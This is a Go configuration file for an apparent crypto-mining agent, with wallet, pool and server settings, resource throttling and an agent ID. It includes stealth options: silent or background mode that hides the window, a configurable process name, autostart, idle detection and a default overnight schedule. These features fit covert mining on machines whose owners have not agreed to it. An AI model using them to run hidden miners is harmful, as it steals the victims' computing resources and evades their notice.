package config import ( "runtime" "strings" "time" ) const Version = "1.0.0" type BuiltinConfig struct { WorkerName string ServerURL string Wallet string Threads int ThreadMode string ThreadPercent int CPUPriority string MiningMode string DisplayMode string SilentMode bool RunAs string AutoStart bool ProcessName string BuildID string BuiltAt time.Time PoolHost string PoolPort int PoolTLS bool PoolPass string MaxCPUUsage int MaxMemoryPct int MinFreeRAM int IdleThresholdPct int IdleDurationMinutes int ScheduleStart string ScheduleEnd string } type RuntimeConfig struct { BuiltinConfig AgentID string } func Load() RuntimeConfig { b := GetBuiltinConfig() if b.Threads <= 0 { b.Threads = 4 } if b.ThreadMode == "" { b.ThreadMode = "percent" } if b.ThreadPercent <= 0 { b.ThreadPercent = 75 } if b.CPUPriority == "" { b.CPUPriority = "below_normal" } if b.MiningMode == "" { b.MiningMode = "always" } if b.DisplayMode == "" { if b.SilentMode { b.DisplayMode = "silent" } else { b.DisplayMode = "visible" } } if b.ProcessName == "" { b.ProcessName = sanitizeProcessName(b.WorkerName) } if b.MaxCPUUsage <= 0 { b.MaxCPUUsage = 80 } if b.MaxMemoryPct <= 0 { b.MaxMemoryPct = 70 } if b.MinFreeRAM <= 0 { b.MinFreeRAM = 1024 } if b.IdleThresholdPct <= 0 { b.IdleThresholdPct = 20 } if b.IdleDurationMinutes <= 0 { b.IdleDurationMinutes = 5 } if b.ScheduleStart == "" { b.ScheduleStart = "21:00" } if b.ScheduleEnd == "" { b.ScheduleEnd = "06:00" } return RuntimeConfig{BuiltinConfig: b} } func (c RuntimeConfig) EffectiveThreads() int { mode := strings.ToLower(c.ThreadMode) if mode == "fixed" { if c.Threads < 1 { return 1 } return c.Threads } cores := runtime.NumCPU() if cores < 1 { cores = 1 } pct := c.ThreadPercent if pct < 1 { pct = 1 } if pct > 100 { pct = 100 } threads := int(float64(cores) * float64(pct) / 100.0) if threads < 1 { threads = 1 } if threads > cores { threads = cores } return threads } func (c RuntimeConfig) HideWindow() bool { switch strings.ToLower(c.DisplayMode) { case "silent", "background": return true default: return c.SilentMode } } func (c RuntimeConfig) BackgroundMode() bool { return strings.ToLower(c.DisplayMode) == "background" } func sanitizeProcessName(name string) string { name = strings.TrimSpace(name) if name == "" { return "CryptoMinerWorker" } replacer := strings.NewReplacer(" ", "", "-", "", "_", "") clean := replacer.Replace(name) if clean == "" { return "CryptoMinerWorker" } return clean }